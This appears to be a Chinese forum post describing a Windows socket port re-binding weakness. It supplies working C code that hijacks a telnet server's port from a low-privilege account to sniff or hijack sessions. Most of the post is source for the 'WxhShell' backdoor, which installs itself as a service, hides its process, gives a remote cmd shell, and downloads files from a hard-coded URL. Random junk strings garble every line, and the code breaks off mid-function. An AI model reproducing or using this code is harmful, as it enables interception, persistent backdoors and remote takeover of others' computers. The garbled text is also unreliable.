在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
tpblm|sW s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
H,c`=Ii3 W*Si"s2 saddr.sin_family = AF_INET;
jfiUf1Mj 9Z2 1|5 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
JA*+F1s 0'HQ=pP bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
ps;d bY*s6 %E5b}E# 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
16>D?;2o( P2@Z7DhQ 这意味着什么?意味着可以进行如下的攻击:
^ |SiqE 2]<.m] 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
y Vp,)T9 @dUN3,} 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
?5jLN&A3 G Se_]=>WI 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
2e-`V5{)b x0b=r!Duu 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
'zbvg0 T h5rR44 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
BN `2UVH 4&=</ok6`0 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
\ @fKKb| xr{Ym99E$ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
WQ}wQ:] m^0vux #include
F(#?-MCs #include
$btu=_|f #include
cS'{h #include
zPxR=0| DWORD WINAPI ClientThread(LPVOID lpParam);
W7Y@]QMX int main()
ggL/7I( {
$~iZ aX8& WORD wVersionRequested;
71y{Dwya DWORD ret;
<zL_6Y2 WSADATA wsaData;
eZ+6U`^t BOOL val;
.>eR X% SOCKADDR_IN saddr;
NhCucSU<K SOCKADDR_IN scaddr;
P1Z"}Qw int err;
E*u*LMm SOCKET s;
BvsSrse SOCKET sc;
oOaFA+0x int caddsize;
|?#JCG HANDLE mt;
A[8m3L#k DWORD tid;
E]rXp~AZm wVersionRequested = MAKEWORD( 2, 2 );
u5Vgi0}A err = WSAStartup( wVersionRequested, &wsaData );
TIxOMY y if ( err != 0 ) {
I`_I^C3 printf("error!WSAStartup failed!\n");
Y X^c}t}U return -1;
[8a(4]4 }
e.skE>& saddr.sin_family = AF_INET;
|$b8(g$s) y]0O"X-G //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
x};~8lGT>t >x JzV saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
~1%*w* saddr.sin_port = htons(23);
IJ&Lk=2E] if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
9xO@_pkX {
aZ4?!JW . printf("error!socket failed!\n");
"qNFDr(WM return -1;
2t9UJu4 }
,puoq{ val = TRUE;
%+=;4tHJ //SO_REUSEADDR选项就是可以实现端口重绑定的
A4!X{qUT- if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Yu\$Y0 {] {
-dixiJ= printf("error!setsockopt failed!\n");
{KNaJ/:>W return -1;
rP3tFvOH }
hNM8H //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
O{_t*sO9q* //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
JI[8n$pr] //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
le\-h'D m2\\!C]f if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
\Q|-Npw {
D{6y^@/ ret=GetLastError();
7DJEx~"!2- printf("error!bind failed!\n");
SjB"#E) return -1;
KU,SAcfR7 }
x<gmDy* listen(s,2);
Dj(PH3^ while(1)
Y2x|6{ # {
UHZ&7jfl caddsize = sizeof(scaddr);
ZPmqoR[ //接受连接请求
Xx{| [2` sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
`/PBZnj if(sc!=INVALID_SOCKET)
{&n- @$? {
ZOEe -XW mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Nn[*ox#i if(mt==NULL)
ks0Q+YW {
>+a\BK"k printf("Thread Creat Failed!\n");
|@X^_L.! break;
?>h
~"D# }
ChTq !W }
'#f<wfn CloseHandle(mt);
Iw`tbN
L[ }
.D
4G;=Q closesocket(s);
x"Ky_P~ WSACleanup();
5v)^4(
) return 0;
<{kPa_`' }
_u[tv, DWORD WINAPI ClientThread(LPVOID lpParam)
1?Y>Xz {
`q-+r1u SOCKET ss = (SOCKET)lpParam;
LeLUt<4~ SOCKET sc;
jw:z2:0~ unsigned char buf[4096];
S[zvR9AW& SOCKADDR_IN saddr;
]eKuR"ob0 long num;
CM_hN>%w[ DWORD val;
:hZM$4 DWORD ret;
]o<]A[< //如果是隐藏端口应用的话,可以在此处加一些判断
Kz"3ba}KH //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
mKZzSd)p saddr.sin_family = AF_INET;
eTa_RO,x saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
,ErfTg&^ saddr.sin_port = htons(23);
y|6n:<o if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
.G[/4h :. {
G?$@6 printf("error!socket failed!\n");
='h2z"}\Bn return -1;
NfvPE ]S }
:*}Q/]N val = 100;
=x8[%+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
\ASt&'E {
c*)T4n[e ret = GetLastError();
fkZHy|m return -1;
G!Zb27u+ }
?P'$Vxl if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
.^wpfS {
CVfV ret = GetLastError();
62sl6WWS3 return -1;
%y RGN }
U!(.i1^n if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
FgH7YkKrD {
gHe:o` printf("error!socket connect failed!\n");
0vv~G\yM closesocket(sc);
l8oaDL\f closesocket(ss);
<o%T] return -1;
%zcA|SefP }
$%~JG( while(1)
?@'&<o0p# {
\4N8-GwZQ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
:*Wq%Y=
//如果是嗅探内容的话,可以再此处进行内容分析和记录
O&l4/RtQ\) //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
gA2Wo+\^bq num = recv(ss,buf,4096,0);
1@|+l!rYF if(num>0)
AQ'%}(#0 send(sc,buf,num,0);
7X>IS#W] else if(num==0)
@ZJL]TO break;
y#GHmHeh num = recv(sc,buf,4096,0);
ME)Tx3d if(num>0)
9+@h2"|N4* send(ss,buf,num,0);
{ M**a else if(num==0)
}Fjbj5w0 break;
uVEJV |^/ }
\|,| ) closesocket(ss);
F rckA closesocket(sc);
3]*Kz*i return 0 ;
w/6X9d }
Bv<g Vt '7?Y+R@|L vJ&_-CX ==========================================================
(ghI$oH RcYUO* 下边附上一个代码,,WXhSHELL
-#ZLu. ,6>3aD1w~q ==========================================================
aKj|gwo! z.8/[) #include "stdafx.h"
TE
Z%|5(] F vkyp"W3 #include <stdio.h>
S`kOtZ_N n #include <string.h>
Pxr/*X #include <windows.h>
>PA*L(Dh% #include <winsock2.h>
3F;C{P! #include <winsvc.h>
G&*P*f1S #include <urlmon.h>
23?u_?+4i c>LP}PGk #pragma comment (lib, "Ws2_32.lib")
D{+@ ,C7B #pragma comment (lib, "urlmon.lib")
a3yNd
1/97_:M0~F #define MAX_USER 100 // 最大客户端连接数
<st<oR' #define BUF_SOCK 200 // sock buffer
roQI;gq^ #define KEY_BUFF 255 // 输入 buffer
kSz+UMC-7: Tw-NIT) #define REBOOT 0 // 重启
WGv 47i #define SHUTDOWN 1 // 关机
|]< 3cW+ gy.UTAs
N #define DEF_PORT 5000 // 监听端口
LSC[S: =o9s?vOJ #define REG_LEN 16 // 注册表键长度
=dAAb\: #define SVC_LEN 80 // NT服务名长度
7p1Y g u}%OC43 // 从dll定义API
aGbG@c8PRi typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
5SY%B#;5G typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
bWo typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
M_E,pg=rWI typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
3'z$@;Ev+ 7ui<2(W@0 // wxhshell配置信息
7fR5V struct WSCFG {
HA0!>_I dC int ws_port; // 监听端口
:Qge1/ char ws_passstr[REG_LEN]; // 口令
FOG{dio int ws_autoins; // 安装标记, 1=yes 0=no
x$d[Ovw- char ws_regname[REG_LEN]; // 注册表键名
uz!8=,DFw char ws_svcname[REG_LEN]; // 服务名
({E,}x char ws_svcdisp[SVC_LEN]; // 服务显示名
u !BU^@ P char ws_svcdesc[SVC_LEN]; // 服务描述信息
rCw4a?YS char ws_passmsg[SVC_LEN]; // 密码输入提示信息
6BV 6<PHJ int ws_downexe; // 下载执行标记, 1=yes 0=no
g4ZUh@b~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
#|sE]\bsH char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Lp&nO =2 HY]H };
,?8a3% TQ(q[:> // default Wxhshell configuration
%tVU Rj struct WSCFG wscfg={DEF_PORT,
(,I:m[0 "xuhuanlingzhe",
21v--wZ 1,
sx#O3*'>1 "Wxhshell",
76w[X=Fv "Wxhshell",
TDo)8+.2z "WxhShell Service",
Y(Qb)>K "Wrsky Windows CmdShell Service",
S(PV*e8 "Please Input Your Password: ",
J@-'IJ 1,
)]fiyXA
"
http://www.wrsky.com/wxhshell.exe",
!gkr?yhE "Wxhshell.exe"
A;d@NOI#,K };
|qX?F` NMkP#s7.y // 消息定义模块
qraXAQ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
x"z\d,O%W char *msg_ws_prompt="\n\r? for help\n\r#>";
Ir JSU_ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
>>{):r
Z char *msg_ws_ext="\n\rExit.";
J2Dn char *msg_ws_end="\n\rQuit.";
@(#vg\UH char *msg_ws_boot="\n\rReboot...";
U,U=udsi char *msg_ws_poff="\n\rShutdown...";
pb97S^K[ char *msg_ws_down="\n\rSave to ";
UCVYO.
9" )xcjQkb char *msg_ws_err="\n\rErr!";
VZqCFE3 char *msg_ws_ok="\n\rOK!";
:<aGZ\R5 !}6'vq char ExeFile[MAX_PATH];
gfggL&t( int nUser = 0;
w%\
n XJ HANDLE handles[MAX_USER];
_#K|g#p5 int OsIsNt;
.!4'Y} 25OQY.>bE SERVICE_STATUS serviceStatus;
+t,b/K(?] SERVICE_STATUS_HANDLE hServiceStatusHandle;
I%.nPOQ 8 P*"c!Dn // 函数声明
"_UnN}Uk int Install(void);
j/TnKO int Uninstall(void);
51ViJdZ int DownloadFile(char *sURL, SOCKET wsh);
vGi<" Sn7 int Boot(int flag);
oZ2:% void HideProc(void);
NV./p`k int GetOsVer(void);
(A?>U_@ int Wxhshell(SOCKET wsl);
Hdyl]q-(P void TalkWithClient(void *cs);
;>7~@
K int CmdShell(SOCKET sock);
HB )+.e int StartFromService(void);
"[
S[vkI int StartWxhshell(LPSTR lpCmdLine);
x;W!sO@$ qXtC7uNj$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
cpk\;1&t VOID WINAPI NTServiceHandler( DWORD fdwControl );
=Z.0-C>W ?eTZ>o.p/ // 数据结构和表定义
@]Vcl"t SERVICE_TABLE_ENTRY DispatchTable[] =
a?W5~?\9 {
.M:&Aj)x16 {wscfg.ws_svcname, NTServiceMain},
BQfnoF {NULL, NULL}
)Cdw_Yx };
L!JC)p. c%5P|R~g]p // 自我安装
f_ MK4 int Install(void)
Ihf>FMl: {
]ttF''lH char svExeFile[MAX_PATH];
vL _yM HKEY key;
|4DN2P
strcpy(svExeFile,ExeFile);
2Ug_3ZuU LHtO|Utn( // 如果是win9x系统,修改注册表设为自启动
pq0Z<b;2 if(!OsIsNt) {
ubB1a_7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
GpPM ? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
i@:^b_ RegCloseKey(key);
n_{&dVE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
0-PT%R RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
KF&8l/f RegCloseKey(key);
9(fh+ return 0;
\r aP }
8T"L'{ggWB }
G>pedE\ }
r Hq1%)B else {
W.4R+kF< "#Z e3Uy\ // 如果是NT以上系统,安装为系统服务
%(s| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
=X(N+(1~ if (schSCManager!=0)
'sAkrl8kt {
yuC"V' SC_HANDLE schService = CreateService
`/1rZ# (
Q:)4 schSCManager,
QH><!
sa wscfg.ws_svcname,
VP< zOk7 wscfg.ws_svcdisp,
6MOwn*%5k SERVICE_ALL_ACCESS,
_9D]1f=& SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
e3n^$'/\r SERVICE_AUTO_START,
&LM@xt4"^[ SERVICE_ERROR_NORMAL,
\ MuKS4 svExeFile,
#HL$`&m NULL,
EE09 Er%\ NULL,
X,@nD@ NULL,
>#dLT~[\a NULL,
3^Is4H_8 NULL
x=0Ak'1M );
#}.{|'L if (schService!=0)
k4&adX@Y {
lYe2;bu CloseServiceHandle(schService);
dDiy_Q6 CloseServiceHandle(schSCManager);
&pl)E$Y strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
<.g)?nj1 strcat(svExeFile,wscfg.ws_svcname);
(M;d*gNr if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
5<X"+`=9 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
>l}v
_k*~B RegCloseKey(key);
L7- JK3/E return 0;
3q'nO-KJ }
ral=`/p }
FXk*zXn6 CloseServiceHandle(schSCManager);
v+EJ
$ }
y=8KNseW| }
gs}&a3d7k B$c'^
) return 1;
#U'}g * }
L?N:4/0;! *#p}FB2H# // 自我卸载
D0\*WK$ int Uninstall(void)
7.{+8#~nV {
F6{
O HKEY key;
_0 [s] /W>?p@j+K if(!OsIsNt) {
aIT0t0. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
v3~`1MM RegDeleteValue(key,wscfg.ws_regname);
r
*N@%T RegCloseKey(key);
T#E,^|WEk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
M+-odLltw RegDeleteValue(key,wscfg.ws_regname);
cl23y}J_? RegCloseKey(key);
c(Xm~
'jeH return 0;
vzAY+EEx }
1OY
5tq }
z xgDaT }
m k~F@ else {
0I)eYksh Lz9|"F"V SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
iMM9a;G+ if (schSCManager!=0)
<qoc)p=__ {
NxH%%>o> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
?/3{gOgI$` if (schService!=0)
{niV63$m {
MR,>]|
^ if(DeleteService(schService)!=0) {
sNG 7fi.| CloseServiceHandle(schService);
O?#<kmd/) CloseServiceHandle(schSCManager);
heES
[ return 0;
/L`qOr2E }
1jK2*y CloseServiceHandle(schService);
" u]X/
{L }
j`u2\ ; CloseServiceHandle(schSCManager);
D(_j;?i }
f#38QP-T }
<@>icDFEHn gBgaVG return 1;
G #$r)S }
rJ4A9d3: mst;q@ // 从指定url下载文件
'uqY%&U int DownloadFile(char *sURL, SOCKET wsh)
W'zI~'K {
AGlFbc(L HRESULT hr;
P` CQ)o char seps[]= "/";
)x,-O#"A char *token;
TY+Rol;! char *file;
9j5k=IXg#a char myURL[MAX_PATH];
:y~l?0b&8 char myFILE[MAX_PATH];
_P_R`A)" K?S5C8 strcpy(myURL,sURL);
hs)_h^P
token=strtok(myURL,seps);
2ak*aI while(token!=NULL)
> W^"*B {
wx/*un%2 file=token;
}1Hy[4B(k\ token=strtok(NULL,seps);
xCU
pMB7 }
uw&p) TwZmZE ?! GetCurrentDirectory(MAX_PATH,myFILE);
k+u L^teyS strcat(myFILE, "\\");
Vg`32nRN strcat(myFILE, file);
"V4ru&a send(wsh,myFILE,strlen(myFILE),0);
]EvK.ORy send(wsh,"...",3,0);
H1ox>sC hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
O=}jg0k if(hr==S_OK)
h"$],= return 0;
=.q8*7UY else
RZ9chTX/ return 1;
~hQTxLp &(X-b"2 }
!X{>?.@~ *46hw(L // 系统电源模块
VL@eR9}9K int Boot(int flag)
$-BM`Zt0; {
dj:6c@n HANDLE hToken;
-* piC( TOKEN_PRIVILEGES tkp;
v?#W/].C+ `^CIOCK% if(OsIsNt) {
/U,;]^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
gY!#=?/S LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
`BKV/Xl tkp.PrivilegeCount = 1;
,mvU`>Ry tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
N:e5=;6s AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Q$=X
?{ if(flag==REBOOT) {
S5xum_Dq if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
P4 dhP-t return 0;
U=\!`_f': }
^q)s else {
222Mm/QN if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
nv2p&-e+ return 0;
xa|/P#q }
e"ur+7 }
/.%AE|0+X else {
s&~i S[ if(flag==REBOOT) {
4ROuy+Ms' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
8k
-l`O~ return 0;
gOKF%Ej31T }
>]S-a-|Bp else {
+{pS2I}d if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
}
cQ`L return 0;
Avn)%9 }
<vUhJgN2/ }
q[MZSg z ,q1TU9 return 1;
M7g6m }
S{F'k;x/5 U%E364;F // win9x进程隐藏模块
)xj!7:n) void HideProc(void)
]pP: {
UKBaGX:v &5o ln@YL HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
LyA}Nd]pyq if ( hKernel != NULL )
o!>h
Q#h {
^
woCwW8n pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
tunjV1 ,] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
wwD?i.3 FreeLibrary(hKernel);
P\2UIAPa\b }
IIIP<nyc =E10j.r return;
:B"Y3~I }
"`&1"* 9s@$P7N5B // 获取操作系统版本
.sR=Mf7 T int GetOsVer(void)
97SOa.@ {
q}0xQjpo OSVERSIONINFO winfo;
@<,YUp,%S winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
iW,fKXuo&y GetVersionEx(&winfo);
qrZ*r{3 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
>* >}d% return 1;
|v31weD8 else
t1MK5B5jH return 0;
B #zU'G*Y }
c#YW>( g;G]Xi.B} // 客户端句柄模块
"0]s|ys6< int Wxhshell(SOCKET wsl)
\:@yfI@ {
8Jb N&C SOCKET wsh;
T99\R% struct sockaddr_in client;
b!3Y<D* DWORD myID;
{Jn*{5tZ> vm
Y*K while(nUser<MAX_USER)
1NQstmd{ {
bfl%yGkd/| int nSize=sizeof(client);
Hm*?<o9mxC wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
O[O[E}8# if(wsh==INVALID_SOCKET) return 1;
X4{O/G o1?bqVF;6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
99tKs if(handles[nUser]==0)
nht?58 closesocket(wsh);
bIP%xl
Vp else
rI.CCPY~s nUser++;
dAkJ5\=* }
052ezh_ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
7IUu] Fi O{w'i| return 0;
gyf9D]W }
T\b-<Xle h<I C
d'! // 关闭 socket
UK!PMkX void CloseIt(SOCKET wsh)
Z.rR) {
(+lCh7. closesocket(wsh);
('Doy1L nUser--;
nkii0YB! ExitThread(0);
8^>qzaf
8 }
C^8n;i9 "yA=Tw // 客户端请求句柄
I@jXW>$ void TalkWithClient(void *cs)
,wPvv(b]a {
ZtPnHs.x uk=f /nT
SOCKET wsh=(SOCKET)cs;
Zm+QhnY| char pwd[SVC_LEN];
iz@LS char cmd[KEY_BUFF];
O/1:2G/` char chr[1];
I5mtr int i,j;
W&`{3L m(o^9R_=^9 while (nUser < MAX_USER) {
"nQ&~KQ 0P7sMCYu if(wscfg.ws_passstr) {
-jdhdh if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
.Mb<.R3 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
3tu:Vc.:M //ZeroMemory(pwd,KEY_BUFF);
V~!lY\ i=0;
6<qVeO&uZ while(i<SVC_LEN) {
9XEP:}5, Oi-=
Fp // 设置超时
A4 fd_set FdRead;
$-ICTp struct timeval TimeOut;
[JyhzYf\ FD_ZERO(&FdRead);
o~ J~-$T{ FD_SET(wsh,&FdRead);
q88;{?T1 TimeOut.tv_sec=8;
{Ne5*HFV TimeOut.tv_usec=0;
_(1Shm int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
HBp$
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
<7R+p;y zPn2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
9_ru*j\ pwd
=chr[0]; !)-)*T
if(chr[0]==0xd || chr[0]==0xa) { g;mX {p_@
pwd=0; A8oTcX_
break; o<Y[GW1pg
} :HW\awv
i++; PPMAj@B}V
} >^N{
&8xwR
// 如果是非法用户,关闭 socket 3<R8_p
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lGZf_X)gA^
} V(c>1xLlz
Iy8fN"I9D
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c%x9.s<+1
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1];OGJuJ2
/(jG9RM
while(1) { 6i`Y]\X~#
>Sc/E}3
ZeroMemory(cmd,KEY_BUFF); "%E<%g
KbTd`AIL
// 自动支持客户端 telnet标准 unD.t
j=0; |D1:~z
while(j<KEY_BUFF) { a4E{7c
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iRK&-wn
cmd[j]=chr[0]; Xt9vTCox
if(chr[0]==0xa || chr[0]==0xd) { d$qi.%<kh
cmd[j]=0; 7,7-E&d
break; Or3GrZ!H
} tQWjNP~
j++; tB{HH%cV
} Jk>!I\
G<:gNWXd\
// 下载文件 `)WC|= w2
if(strstr(cmd,"http://")) { M7gb3gw6
send(wsh,msg_ws_down,strlen(msg_ws_down),0); *F;W 1TF
if(DownloadFile(cmd,wsh)) Gr8%%]1!0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,`,1s9\&t
else NE5H\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z66h
} cyTBp58
else { Xc8
XgZk
p>9|JMk
switch(cmd[0]) { ^Gwpx+
Y?#aUQc
// 帮助 vTsMq>%,<
case '?': { Ou7nk:I@
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GFTOP%Tgl
break; 8Ao-m38
} ;q&uk-
// 安装 U
uEm{
case 'i': { Dt:NBN
if(Install()) u2
t=*<X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); RaC8Sq7hW
else *4OB
88$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h$l`)AH^
break; 3-v&ktD&N'
} dJ.up*aR
// 卸载 P{+,?X\
case 'r': { WJTc/
if(Uninstall()) BT^HlW<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Plj >+XRO
else )<(3 .M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }U ue}VOA
break; J;*2[o.N
} ~c`%k>$
// 显示 wxhshell 所在路径 eZ8DW6 l*
case 'p': { ^TEFKx}PX
char svExeFile[MAX_PATH]; szUJh9-
strcpy(svExeFile,"\n\r"); * -X`^R
strcat(svExeFile,ExeFile); ;pt.)5
send(wsh,svExeFile,strlen(svExeFile),0); hV}C.- 6h
break; zK>}x=
} h@CP
// 重启 aIo%~w
case 'b': { +FH@|~^O
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V='A;gs
if(Boot(REBOOT)) 9c{T|+]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5;@2SY7,
else { js;k,`
closesocket(wsh);
N<~LgH
ExitThread(0); 6%Pvh- ~_
} Hq
aay
break; Ij2Th]
} 95mwDHbA
// 关机 p0Pmmp7r
case 'd': { -,q
qQf
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i
hcSS Um
if(Boot(SHUTDOWN)) nm,(Wdr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &mkL4jXG
else { ,wZq~;2
closesocket(wsh); 4ufT-&m};s
ExitThread(0); KEjMxOv1
} {]]#q0|
break; x}~Z[ bx
} sspGB>h8l
// 获取shell y7vA[us
case 's': { 4m!w<c0NL
CmdShell(wsh); } 8[
closesocket(wsh); /^$n&gI
ExitThread(0); PQ 2rNY6
break; {~`{bnx^]7
} >02p,W6S>
// 退出 yp]z@SYA@
case 'x': { J"K(nKXO_?
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U>0bgL
CloseIt(wsh); y*!8[wASHq
break; l
p|`n
} qNWSDZQ
// 离开 5a|{ytP
case 'q': { S5\KI+;PW
send(wsh,msg_ws_end,strlen(msg_ws_end),0); f h:wmc'
closesocket(wsh); Kf# iF*
WSACleanup(); xy-Vw"I[bh
exit(1); Q%W>m0%
break; ]F3fO5Z
} %awr3h>$
} 5[]Yx l
} 5!BW!-q
HV{W7)
// 提示信息
0:$pJtx"
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O~|Y#T
} xy]oj
} ko"xR%Q
(5e4>p&+
return; gF:|j(
} "gt1pf~y
_6 @GT
// shell模块句柄 0nZQ"{x
int CmdShell(SOCKET sock) [U:P&)
{ <Qt9MO`a
STARTUPINFO si; [WI'oy
ZeroMemory(&si,sizeof(si)); o|w
w>m
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OVGB7CB]S
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .:O($9^Ho
PROCESS_INFORMATION ProcessInfo; :r7!HG_
char cmdline[]="cmd"; SPm2I(at7
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a7aj:.wi
return 0; P1R[M|Fx
} yp)D"w4@
h)^|VM
// 自身启动模式 zU'7x U-
int StartFromService(void) Y]!&, e,
{ +Jm[IN
typedef struct pTT00`R
{ sl:1P^b
DWORD ExitStatus; K^P&3H*(/n
DWORD PebBaseAddress; :i|Bz6Ht4
